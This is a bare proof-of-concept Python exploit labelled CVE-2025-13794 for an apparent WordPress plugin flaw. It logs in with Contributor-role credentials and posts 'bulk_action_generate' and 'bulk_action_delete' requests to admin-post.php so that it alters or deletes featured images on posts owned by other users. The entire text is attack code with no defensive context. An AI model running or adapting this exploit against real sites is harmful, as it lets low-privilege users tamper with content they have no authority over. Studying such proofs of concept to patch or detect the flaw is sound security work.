CVE-2025-13794

import requests # WordPress target URL target_url = "https://vulnerable-site.com/wp-admin/admin-post.php" # Attacker credentials (Contributor role) username = "attacker" password = "attacker_password" # Target post IDs to manipulate (posts not owned by attacker) target_post_ids = [101, 102, 103] session = requests.Session() # Login to WordPress login_url = "https://vulnerable-site.com/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session.post(login_url, data=login_data) # Exploit: Generate featured images for other users' posts for post_id in target_post_ids: exploit_data = { "action": "bulk_action_generate", "post_ids[]": post_id } response = session.post(target_url, data=exploit_data) print(f"Exploited post ID: {post_id}, Status: {response.status_code}") # Alternative: Delete featured images for post_id in target_post_ids: exploit_data = { "action": "bulk_action_delete", "post_ids[]": post_id } response = session.post(target_url, data=exploit_data) print(f"Deleted thumbnail for post ID: {post_id}, Status: {response.status_code}")

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